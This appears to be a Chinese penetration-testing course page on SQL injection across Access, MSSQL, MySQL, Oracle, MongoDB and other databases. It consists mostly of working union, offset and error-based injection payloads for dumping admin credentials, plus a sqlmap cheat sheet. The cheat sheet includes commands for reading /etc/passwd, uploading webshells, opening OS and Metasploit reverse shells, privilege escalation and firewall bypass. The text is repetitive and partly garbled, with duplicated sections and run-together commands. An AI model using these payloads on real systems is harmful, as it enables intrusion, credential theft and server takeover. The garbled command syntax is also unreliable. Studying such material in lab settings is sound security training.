7.获取指定数据库名中指定表中指定字段的数据
sqlmap -u http://www.xxxxx.com/test.php?p=2--dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2
8.file-read读取web文件
sqlmap -u http://www.xxxxx.com/test.php?p=2--file-read "/etc/passwd" -v 2
9.file-write写入文件到web
sqlmap -u http://www.xxxxx.com/test.php?p=2--file-write /localhost/mm.php --file使用sqlmap绕过防火墙进行注入测试
sqlmap详细命令
–is-dba 当前用户权限(是否为root权限)–dbs 所有数据库–current-db 网站当前数据库–users 所有数据库用户–current-user 当前数据库用户–random-agent 构造随机user-agent–passwords 数据库密码–proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)——————————————————————————————————
Options(选项)
–version 显示程序的版本号并退出
-h, –help 显示此帮助消息并退出-v VERBOSE 详细级别:0-6(默认为1)保存进度继续跑:sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” 保存进度sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” –resume 恢复已保存进度
Target(目标)
以下至少需要设置其中一个选项,设置目标URL。-d DIRECT 直接连接到数据库。-u URL, –url=URL 目标URL。-l LIST 从Burp或WebScarab代理的日志中解析目标。-r REQUESTFILE 从一个文件中载入HTTP请求。-g GOOGLEDORK 处理Google dork的结果作为目标URL。-c CONFIGFILE 从INI配置文件中加载选项。
Request(请求)
这些选项可以用来指定如何连接到目标URL。–data=DATA 通过POST发送的数据字符串–cookie=COOKIE HTTP Cookie头–cookie-urlencode URL 编码生成的cookie注入–drop-set-cookie 忽略响应的Set – Cookie头信息–user-agent=AGENT 指定 HTTP User – Agent头–random-agent 使用随机选定的HTTP User – Agent头–referer=REFERER 指定 HTTP Referer头–headers=HEADERS 换行分开,加入其他的HTTP头–auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)–auth-cred=ACRED HTTP身份验证凭据(用户名:密码)–auth-cert=ACERT HTTP认证证书(key_file,cert_file)–proxy=PROXY 使用HTTP代理连接到目标URL–proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)–ignore-proxy 忽略系统默认的HTTP代理–delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒–timeout=TIMEOUT 等待连接超时的时间(默认为30秒)–retries=RETRIES 连接超时后重新连接的时间(默认3)–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式–safe-url=SAFURL 在测试过程中经常访问的url地址–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL
Enumeration(枚举)
这些选项可以用来列举后端数据库管理系统的信息表中的结构和数据此外,您还可以运行您自己的SQL语句。-b, –banner 检索数据库管理系统的标识–current-user 检索数据库管理系统当前用户–current-db 检索数据库管理系统当前数据库–is-dba 检测DBMS当前用户是否DBA–users 枚举数据库管理系统用户–passwords 枚举数据库管理系统用户密码哈希–privileges 枚举数据库管理系统用户的权限–roles 枚举数据库管理系统用户的角色–dbs 枚举数据库管理系统数据库-D DBname 要进行枚举的指定数据库名-T TBLname 要进行枚举的指定数据库表(如:-T tablename –columns)–tables 枚举的DBMS数据库中的表–columns 枚举DBMS数据库表列–dump 转储数据库管理系统的数据库中的表项–dump-all 转储所有的DBMS数据库表中的条目–search 搜索列(S),表(S)和/或数据库名称(S)-C COL 要进行枚举的数据库列-U USER 用来进行枚举的数据库用户–exclude-sysdbs 枚举表时排除系统数据库–start=LIMITSTART 第一个查询输出进入检索–stop=LIMITSTOP 最后查询的输出进入检索–first=FIRSTCHAR 第一个查询输出字的字符检索–last=LASTCHAR 最后查询的输出字字符检索–sql-query=QUERY 要执行的SQL语句–sql-shell 提示交互式SQL的shell
Optimization(优化)
这些选项可用于优化SqlMap的性能。-o 开启所有优化开关–predict-output 预测常见的查询输出–keep-alive 使用持久的HTTP(S)连接–null-connection 从没有实际的HTTP响应体中检索页面长度–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
Injection(注入)
这些选项可以用来指定测试哪些参数提供自定义的注入payloads和可选篡改脚本。-p TESTPARAMETER 可测试的参数(S)–dbms=DBMS 强制后端的DBMS为此值–os=OS 强制后端的DBMS操作系统为这个值–prefix=PREFIX 注入payload字符串前缀–suffix=SUFFIX 注入payload字符串后缀–tamper=TAMPER 使用给定的脚本(S)篡改注入数据
Detection(检测)
这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。–level=LEVEL 执行测试的等级(1-5,默认为1)–risk=RISK 执行测试的风险(0-3,默认为1)–string=STRING 查询时有效时在页面匹配字符串–regexp=REGEXP 查询时有效时在页面匹配正则表达式–text-only 仅基于在文本内容比较网页
Techniques(技巧)
这些选项可用于调整具体的SQL注入测试。–technique=TECH SQL注入技术测试(默认BEUST)–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)–union-cols=UCOLS 定列范围用于测试UNION查询注入–union-char=UCHAR 用于暴力猜解列数的字符
Fingerprint(指纹)
-f, –fingerprint 执行检查广泛的DBMS版本指纹
Brute force(蛮力)
这些选项可以被用来运行蛮力检查。–common-tables 检查存在共同表–common-columns 检查存在共同列
User-defined function injection
(用户自定义函数注入)
这些选项可以用来创建用户自定义函数。–udf-inject 注入用户自定义函数–shared-lib=SHLIB 共享库的本地路径
File system access(访问文件系统)
这些选项可以被用来访问后端数据库管理系统的底层文件系统。–file-read=RFILE 从后端的数据库管理系统文件系统读取文件–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
Operating system access
(操作系统访问)
这些选项可以用于访问后端数据库管理系统的底层操作系统。–os-cmd=OSCMD 执行操作系统命令–os-shell 交互式的操作系统的shell–os-pwn 获取一个OOB shell,meterpreter或VNC–os-smbrelay 一键获取一个OOB shell,meterpreter或VNC–os-bof 存储过程缓冲区溢出利用–priv-esc 数据库进程用户权限提升–msf-path=MSFPATH Metasploit Framework本地的安装路径–tmp-path=TMPPATH 远程临时文件目录的绝对路径Windows注册表访问:这些选项可以被用来访问后端数据库管理系统Windows注册表。–reg-read 读一个Windows注册表项值–reg-add 写一个Windows注册表项值数据–reg-del 删除Windows注册表键值–reg-key=REGKEY Windows注册表键–reg-value=REGVAL Windows注册表项值–reg-data=REGDATA Windows注册表键值数据–reg-type=REGTYPE Windows注册表项值类型这些选项可以用来设置一些一般的工作参数。-t TRAFFICFILE 记录所有HTTP流量到一个文本文件中-s SESSIONFILE 保存和恢复检索会话文件的所有数据–flush-session 刷新当前目标的会话文件–fresh-queries 忽略在会话文件中存储的查询结果–eta 显示每个输出的预计到达时间–update 更新SqlMap–save file保存选项到INI配置文件–batch 从不询问用户输入,使用所有默认配置。
Miscellaneous(杂项)
–beep 发现SQL注入时提醒–check-payload IDS对注入payloads的检测测试–cleanup SqlMap具体的UDF和表清理DBMS–forms 对目标URL的解析和测试形式–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果–page-rank Google dork结果显示网页排名(PR)–parse-errors 从响应页面解析数据库管理系统的错误消息–replicate 复制转储的数据到一个sqlite3数据库–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址–wizard 给初级用户的简单向导界面
思维导图
涉及资源https://www.cnblogs.com/bmjoke ... %3Bbr />https://blog.csdn.net/qq_39936 ... .html
案例演示1. Access注入用sqlmap判断数据库类型
尝试猜字段数,order by 5时网页有回显,所以字段数为4:46604/new_list.asp?id=1 order by 5
Access只是单纯的数据库,只有数据,没有数据库名,数据库版本,操作系统等功能,没有information_shcema。可直接查询数据,获取表名,列名。尝试联合注入查询时没有反应:46604/new_list.asp?id=-1 union select 1,2,3,4
用猜解方式猜解表名,列名(常用的一些表名,如admin,admin_login等)网页出现回显:46604/new_list.asp?id=-1 union select 1,2,3,4 from admin
在回显位尝试猜解字段
使用sqlmap跑出来的结果是一样的:sqlmap -u :49010/new_list.asp?id=1 -T admin --colimns
sqlmap -u :49010/new_list.asp?id=1 -T admin -C username,passwd --dump
2. Access偏移注入偏移注入的使用目前猜测出了表名,但是怎么都猜不出列名,使用联合查询法来进行偏移注入
接下来测出偏移量,其实这个偏移量就是admin这张表的列的个数。直接将22改成*号,测试是否回显正常,不正常就一直往前减,一直减少到回显正常为止。
这里运气比较好,直接就爆出了密码。但是还没有用户名呢,那么接下来可以打乱顺序来重置爆出来的结果,这里可以使用下列方法来进行完成。
从图中可以看出已经爆出了用户名为admin了
简单说下语句UNION SELECT 1,2,3,* from (admin as a inner join admin as b on a.id=b.id),首先为什么从union select 1,2,3,4,5,6,* from变成了1,2,3,*呢是这样推导出来的:order by 9代表有9个回显点1,2,3,4,5,6,*代表admin表的字段数只有3个admin表变成了(admin as a inner join admin as b on a.id=b.id)这里是将admin重命名为了a和b两张表然后通过inner join 将a表和b表的id相同字段展示出来a表和b表本来都是admin表所以id肯定都是相同的(这里要提醒一下,id这个字段可以换成其它字段,但是一定得存在,一般admin表中都存在id字段的)这样做的目的就是可以打乱顺序来爆出其它字段但是由于增加了一张表所以字段数得再减少一个*号的长度所以就从6变成了3
3.偏移注入的进阶
这样爆东西非常有随机性如果表的字段比较多而这个显示位又比较少的话是很有可能爆不出自己想要的东西的所以接下来学习偏移注入进阶同样通过order by 和union select找到了表为admin但是还是扫不出列名,这次回显点有22个
测试admin的列的个数,最终长度为6,而且这次什么都没爆出来
开始偏移注入,爆出的结果却是时间
此时可以增加a.id或者b.id或者a.id和b.id一起加上去来打乱随机的顺序,时间确实换了,但是又不是我们想要的,这只是一个数字,可能是id值之类的
查看网页的源代码,会有隐藏的惊喜
发现这里有隐藏起来的回显点,爆出来了用户名为admin,但是还没有密码增加表的个数,修改代码,UNION SELECT 1,2,3,4,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id),查看源代码,成功拿到用户名和密码了。
3. SQL server/mssql
https://www.mozhe.cn/bug/detai ... mozhe
通过pangolin获取所需数据:
还可以进行命令执行和文件管理
key
##手工注入判断是否是Mssql判断是否是mssql数据库,返回正常,说明该数据库是mssql
判断数据库版本号,返回正常,说明版本号正确
判断字段长度order by 4正常,遍历至5时报错,说明字段长度为4
寻找字符型显示位:44626/new_list.asp?id=-2 union all select null,null,null,null这里使用的是 union all,它和 union select 的区别就是:union select 会自动去除一些重复的字段,在这个靶场使用 union select 是不行的,所以用 union all。使用null 是说明它无关是字符型还是数字型
猜测显示位:44626/new_list.asp?id=-2 union all select '1',null,null,null
:44626/new_list.asp?id=-2 union all select null,'2',null,null
:44626/new_list.asp?id=-2 union all select null,'2','3',null
查询相关信息获取版本信息:44626/new_list.asp?id=-2 union all select null,@@version,'3',null
获取数据库名:44626/new_list.asp?id=-2 union all select null,db_name(),'3',null
获取当前用户名:44626/new_list.asp?id=-2 union all select null,user,'3',null:44626/new_list.asp?id=-2 union all select null,system_user,'3',null:44626/new_list.asp?id=-2 union all select null,current_user,'3',null
查询表名:44626/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4
:44626/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4注释:name not in ('manage') 这段语句意思是查询 name 不是 'manage' 的,这样就可以排除 'manage' 从而查询下一个表名
announcement之后还是manage,说明就这俩表
获取列名:44626/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null注释:col_name 是查询的列名,object_id('manage')是从manage这个表里查询,1 代表的是查询第一个列名
这边查询出来第一个列名是 id,我们继续查第二个列名只需要把数字1修改为2就行了col_name(object_id('manage'),2:44626/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null
查询出来第二个列名是 username,我们继续查询第三个列名::44626/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null
获取数据:44626/new_list.asp?id=-2 union all select null,username,password,null from manage
4. PostgraSQL字段
sqlmap判断数据库种类
查看表名
查看字段名
查看字段值
5. oracle
6. mongoDBNoSQLAttack支持mongoDB的注入工具
然后输入x返回,输入4进入
往期内容回顾
大哥大哥行行好
一万字也不算少如有帮助请随意打赏
查看全部
渗透测试培训Day14 SQL注入之Oracle,MongoDB等注入
我喜欢一个人
就像喜欢一阵风
藏在你心里
习桑前言
SQL作用在关系型数据库上面什么是关系型数据库?关系型数据库是由一张张的二维表组成的 常见的关系型数据库厂商有 MySQL、SQLite、SQL Server、Oracle 由于MySQL是免费的 所以企业一般用MySQL的居多 Web SQL是前端的数据库 它也是本地存储的一种 使用SQLite实现 SQLite是一种轻量级数据库 它占的空间小 支持创建表,插入、修改、删除表格数据 但是不支持修改表结构 如删掉一纵列 修改表头字段名等 但是可以把整张表删了 同一个域可以创建多个DB 每个DB有若干张表。与数据库产生交互就有可能存在注入攻击不只是MySQL数据库还有Oracle,MongoDB等数据库也可能会存在注入攻击
简要学习各种数据库的注入特点
数据库架构组成,数据库高权限操作
简要了解各数据库
Access,Mysqlmssql(Microsoft SQL server)mongoDB,postgresqlsqlite,oracle,sybase等<br />Access 表名 列名 数据<br />Access数据库保存在网站源码下面自己网站数据库独立存在所以无法进行跨库也没有文件读写的操作
除了Access其他数据库组成架构基本都是大同小异。<br />mysql mssql等数据库名A 表名列名 数据 数据库名B。。。。。。<br />每个数据库功能不同,我们采取注入的时候攻入方式不同<br />什么决定网站注入点用户权限?数据库配置文件的用户,是谁连接的
Access偏移注入
如果遇到列名猜解不到的情况,则可以使用Access偏移注入原理<br />借用数据库的自连接查询让数据库内部发生乱序从而偏移出所需要的字段在我们的页面上显示用途<br />解决知道Access数据库中知道表名,但是得不到字段的sql注入困境特点<br />a. 成功与否看技巧与运气,不能保证100%成功。b. 无需管理员账号密码字段,直接爆账号密码利用条件<br />a. 已知管理表名b. 已知任意字段(一个或多个会增加机率,最常见的就是id)影响偏移注入成功因素<br />a. 管理表的字段数越少越好(最好是三个:id 账号字段 密码字段)b. 当前注入点的脚本内查询的表内的字段数越多越好流程<br />a. 判断字段数b. 判断表名c. 开始偏移注入<br />
本地Access偏移注入靶场
偏移量就是逐步增加或递减直到出现结果。*表示可代替的字符串用*代替22,返回界面依旧报错然后用*代替21,依次递减22-16=6,6表示该表中的列名个数
*代表6个,后面一串字符代表两倍,就相当于2倍*,12个
爆列名数据
一级偏移语句:union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)二级偏移语句:union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)
二级偏移,3倍*,所以为18个
查看登录框源代码的表单值或观察URL特征等也可以针对表或列获取不到的情况猜解表名可能是ZB_admin,观察网站地址特征,是否有前缀。
或者看登录框表单值
SQL server/MSSQL注入
7.1介绍
Microsoft SQL Server 是一个全面的数据库平台,使用集成的商业智能 (BI)工具提供了企业级的数据管理。Microsoft SQL Server 数据库引擎为关系型数据和结构化数据提供了更安全可靠的存储功能,使您可以构建和管理用于业务的高可用和高性能的数据应用程序。
7.2过程
①判断数据库类型
and exists (select * from sysobjects)--返回正常为mssql(也名sql server)and exists (select count(*) from sysobjects)--有时上面那个语句不行就试试这个哈
②判断数据库版本
and 1=@@version--这个语句要在有回显的模式下才可以哦and substring((select @@version),22,4)='2008'--适用于无回显模式,后面的2008就是数据库版本, 返回正常就是2008的复制代码第一条语句执行效果图(类似):第二条语句执行效果图:(如果是 2008的话就返回正常)
③获取所有数据库的个数 (一下3条语句可供选择使用)
1. and 1=(select quotename(count(name)) from master..sysdatabases)--2. and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) --3. and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>5) -- and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases where dbid>5) --说明:dbid从1-4的数据库一般为系统数据库.
⑤获取数据库 (该语句是一次性获取全部数据库的,且语句只适合>=2005,两条语句可供选择使用)
and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))-- and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--
⑥获取当前数据库
and db_name()>0and 1=(select db_name())--
⑦获取当前数据库中的表(有2个语句可供选择使用)【下列语句可一次爆数据库所有表(只限于 mssql2005及以上版本)】
and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))-- and 1=(select '|'%2bname%2b'|' from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--
⑧获得表里的列
一次爆指定表的所有列(只限于mssql2005及以上版本):and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))-- and 1=(select '|'%2bname%2b'|' from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--
⑨获取指定数据库中的表的列的数据库
逐条爆指定表的所有字段的数据(只限于mssql2005及以上版本):and 1=(select top 1 * from 指定数据库..指定表名 where排除条件 FOR XML PATH(''))--一次性爆N条所有字段的数据(只限于mssql2005及以上版本):and 1=(select top N * from 指定数据库..指定表名 FOR XML PATH(''))--复制代码第一条语句:and 1=(select top 1 * from 指定数据库..指定表名 FOR XML PATH(''))--测试效果图:----------------------------------加上where条件筛选结果出来会更加好,如:where and name like '%user%' 就会筛选出含有user关键词的出来。用在筛选表段时很不错。
转自:http://www.myhack58.com/Articl ... 6.htm
PostgraSQL注入原理
https://www.webshell.cc/524.ht ... a2c2e
Oracle注入
https://www.cnblogs.com/peterp ... .html
MongoDB注入
https://blog.csdn.net/weixin_3 ... .html
各数据库手工注入
MySQL:1.找到注入点 and 1=1 and 1=2 测试报错2.order by 5 # 到5的时候报错,获取字段总数为43.id=0(不是1就行,强行报错) union select 1,2,3,4 # 联合查询,2和3可以显示信息4.获取数据库信息user() ==>rootdatabase() ==>mozhe_Discuz_StormGroupversion() ==>5.7.22-0ubuntu0.16.04.15.获取数据库表table_name 表名information_schema.tables 系统生成信息表table_schema=数据库名16进制或者用单引号括起来改变limit 0,1中前一个参数,得到两个表 StormGroup_member notice6.获取列名结果如下 id,name,password,status7.脱裤<br />Access:1.and 1=2 报错找到注入点2.order by 获取总字段3.猜解表名 and exists (select * from admin) 页面返回正常,说明存在admin表4.猜解列名 and exists(select id from admin) 页面显示正常,admin表中存在id列 username,passwd 同样存在5.脱裤 union select 1,username,passwd,4 from adminMSSQL:1.and 1=2报错2.order by N# 获取总字段3.猜表名 and exists(select * from manage) 表名manage存在4.猜解列名 and exists(select id from manage) 列名id存在,同样username,password也存在5.脱裤 and exists (select id from manage where id=1 ) 证明id=1存在and exists (select id from manage where%20 len(username)=8 and id=1 ) 猜解username字段长度为8and exists (select id from manage where%20 len(password)=16 and id=1 ) 猜解password字段长度为16可用Burp的Intruder功能辅助猜解猜解username第1到8位的字符,ASCII转码 admin_mz猜解password第1到16位的字符,ASCII转码(Burp 爆破)转ASCII的py脚本:72e1bfc3f01b7583 MD5解密为97285101<br />SQLite:1.找注入点 and 1=12.order by N 猜字段 43.猜数据库offset ==>0~2有三个数据库:WSTMart_regnotice_sybasesqlite_sequence4.猜列共有3个字段:id,name,password5.脱裤<br />MongoDB:1.id=1′ 单引号注入报错2.闭合语句,查看所有集合3.查看指定集合的数据[0] 代表第一条数据,可递增<br />DB2:1.and 1=2 判断注入点2.order by N 获取字段数3.爆当前数据库GAME_CHARACTER4.列表NAME5.脱裤<br />PostgreSQL:1.and 1=2 判断注入点2.order by N 获取字段3.爆数据库4.列表5.列字段6.拖库<br />Sybase数据库:1.and 1=2 判断注入点2.order by N 获取总字段3.爆数据库4.列表5.列字段6.查状态结果为:zhang7.反选爆用户名结果为:mozhe8.猜解密码<br />Oracle:1.and 1=12.order by3.爆数据库4.列表5.列字段6.拖库加上状态:1 where STATUS=1
简要学习各种注入工具的使用指南
熟悉工具的主持库,注入模式,优缺点等sqlmap,NoSQLAttack,Pangolin等
sqlmap基本操作sqlmap简介sqlmap支持五种不同的注入模式:
1、基于布尔的盲注即可以根据返回页面判断条件真假的注入2、基于时间的盲注即不能根据页面返回内容判断任何信息用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。3、基于报错注即页面会返回错误信息或者把注入的语句的结果直接返回在页面中4、联合查询注入可以使用union的情况下的注入5、堆查询注入可以同时执行多条语句的执行时的注入
sqlmap支持的数据库有:
MySQL, Oracle, PostgreSQLMicrosoft SQL ServerMicrosoft Access, IBM DB2SQLite, Firebird,Sybase和SAP MaxDB
检测注入:
基本格式sqlmap -u “http://www.vuln.cn/post.php?id=1”默认使用level1检测全部数据库类型sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)跟随302跳转当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302,当注入错误的时候,先报错再跳转的时候,不需要跟随302。目的就是:要追踪到错误信息。
cookie注入
当程序有防get注入的时候,可以使用cookie注入sqlmap -u “http://www.baidu.com/shownews.asp” –cookie “id=11” –level 2(只有level达到2才会检测cookie)
从post数据包中注入
可以使用burpsuite或者temperdata等工具来抓取post包sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username参数
注入成功后
获取数据库基本信息sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 –dbs查询有哪些数据库sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test –tables查询test数据库中有哪些表sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin –columns查询test数据库中admin表有哪些字段sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin -C “username,password” –dumpdump出字段username与password中的数据其他命令参考下面从数据库中搜索字段sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password在dedecms数据库中搜索字段admin或者password。
读取与写入文件
首先找需要网站的物理路径,其次需要有可写或可读权限。–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径#示例:sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”使用shell命令:sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell接下来指定网站可写目录:“E:\php\htdocs\dvwa”#注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)
sqlmap基本操作
基本操作笔记:
-u #注入点-f #指纹判别数据库类型-b #获取数据库版本信息-p #指定可测试的参数(?page=1&id=2 -p "page,id")-D "" #指定数据库名-T "" #指定表名-C "" #指定字段-s "" #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s "xx.log" 恢复:-s "xx.log" --resume)--level=(1-5) #要执行的测试水平等级,默认为1--risk=(0-3) #测试执行的风险等级,默认为1--time-sec=(2,5) #延迟响应,默认为5--data #通过POST发送数据--columns #列出字段--current-user #获取当前用户名称--current-db #获取当前数据库名称--users #列数据库所有用户--passwords #数据库用户所有密码--privileges #查看用户权限(--privileges -U root)-U #指定数据库用户--dbs #列出所有数据库--tables -D "" #列出指定数据库中的表--columns -T "user" -D "mysql" #列出mysql数据库中的user表的所有字段--dump-all #列出所有数据库所有表--exclude-sysdbs #只列出用户自己新建的数据库和表--dump -T "" -D "" -C "" #列出指定数据库的表的字段的数据(--dump -T users -D master -C surname)--dump -T "" -D "" --start 2 --top 4 # 列出指定数据库的表的2-4字段的数据--dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)--os #指定系统(Linux,Windows)-v #详细的等级(0-6) 0:只显示Python的回溯,错误和关键消息。 1:显示信息和警告消息。 2:显示调试消息。 3:有效载荷注入。 4:显示HTTP请求。 5:显示HTTP响应头。 6:显示HTTP响应页面的内容--privileges #查看权限--is-dba #是否是数据库管理员--roles #枚举数据库用户角色--udf-inject #导入用户自定义函数(获取系统权限)--union-check #是否支持union 注入--union-cols #union 查询表记录--union-test #union 语句测试--union-use #采用union 注入--union-tech orderby #union配合order by--data "" #POST方式提交数据(--data "page=1&id=2")--cookie "用;号分开" #cookie注入(--cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)--referer "" #使用referer欺骗(--referer "http://www.baidu.com")--user-agent "" #自定义user-agent--proxy "http://127.0.0.1:8118" #代理注入--string="" #指定关键词,字符串匹配.--threads #采用多线程(--threads 3)--sql-shell #执行指定sql命令--sql-query #执行指定的sql语句(--sql-query "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" )--file-read #读取指定文件--file-write #写入本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)--file-dest #要写入的文件绝对路径--os-cmd=id #执行系统命令--os-shell #系统交互shell--os-pwn #反弹shell(--os-pwn --msf-path=/opt/framework/msf3/)--msf-path= #matesploit绝对路径(--msf-path=/opt/framework/msf3/)--os-smbrelay #--os-bof #--reg-read #读取win系统注册表--priv-esc #--time-sec= #延迟设置 默认--time-sec=5 为5秒-p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)" #指定user-agent注入--eta #盲注/pentest/database/sqlmap/txt/common-columns.txt 字段字典 common-outputs.txtcommon-tables.txt 表字典keywords.txtoracle-default-passwords.txtuser-agents.txtwordlist.txt<br />
常用语句 :
1./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-f -b --current-user --current-db --users --passwords --dbs -v 02./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --passwords -U root --union-use -v 23./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --dump -T users -C username -D userdb --start 2 --stop 3 -v 24./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --dump -C "user,pass" -v 1 --exclude-sysdbs5./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --sql-shell -v 26./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --file-read "c:\boot.ini" -v 27./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --file-write /test/test.txt --file-dest /var/www/html/1.txt -v 28./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-cmd "id" -v 19./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-shell --union-use -v 210./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-pwn --msf-path=/opt/framework/msf3 --priv-esc -v 111./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-pwn --msf-path=/opt/framework/msf3 -v 112./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-bof --msf-path=/opt/framework/msf3 -v 113./sqlmap.py -u http://www.xxxxx.com/test.php?p=2--reg-add --reg-key="HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=114./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --eta15./sqlmap.py -u "http://192.168.136.131/sqlmap/ ... ot%3B -p id --prefix "')" --suffix "AND ('abc'='abc"16./sqlmap.py -u "http://192.168.136.131/sqlmap/ ... ot%3B --auth-type Basic --auth-cred "testuser:testpass"17./sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"18./sqlmap.py -u "http://192.168.136.131/sqlmap/ ... ot%3B --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 319./sqlmap.py -u "http://192.168.136.131/sqlmap/ ... ot%3B --sql-query "SELECT 'foo'" -v 120./sqlmap.py -u "http://192.168.136.129/mysql/g ... ot%3B --common-tables -D testdb --banner21./sqlmap.py -u "http://192.168.136.129/mysql/g ... ot%3B --cookie="PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low" --string='xx' --dbs --level=3 -p "uid"
简单的注入流程 :
1.读取数据库版本,当前用户,当前数据库
sqlmap -u http://www.xxxxx.com/test.php?p=2-f -b --current-user --current-db -v 1
2.判断当前数据库用户权限
sqlmap -u http://www.xxxxx.com/test.php?p=2--privileges -U 用户名 -v 1sqlmap -u http://www.xxxxx.com/test.php?p=2--is-dba -U 用户名 -v 1
3.读取所有数据库用户或指定数据库用户的密码
sqlmap -u http://www.xxxxx.com/test.php?p=2--users --passwords -v 2sqlmap -u http://www.xxxxx.com/test.php?p=2--passwords -U root -v 2
4.获取所有数据库
sqlmap -u http://www.xxxxx.com/test.php?p=2--dbs -v 2
5.获取指定数据库中的所有表
sqlmap -u http://www.xxxxx.com/test.php?p=2--tables -D mysql -v 2
6.获取指定数据库名中指定表的字段
sqlmap -u http://www.xxxxx.com/test.php?p=2--columns -D mysql -T users -v 2
7.获取指定数据库名中指定表中指定字段的数据
sqlmap -u http://www.xxxxx.com/test.php?p=2--dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2
8.file-read读取web文件
sqlmap -u http://www.xxxxx.com/test.php?p=2--file-read "/etc/passwd" -v 2
9.file-write写入文件到web
sqlmap -u http://www.xxxxx.com/test.php?p=2--file-write /localhost/mm.php --file使用sqlmap绕过防火墙进行注入测试
sqlmap详细命令
–is-dba 当前用户权限(是否为root权限)–dbs 所有数据库–current-db 网站当前数据库–users 所有数据库用户–current-user 当前数据库用户–random-agent 构造随机user-agent–passwords 数据库密码–proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)——————————————————————————————————
Options(选项)
–version 显示程序的版本号并退出
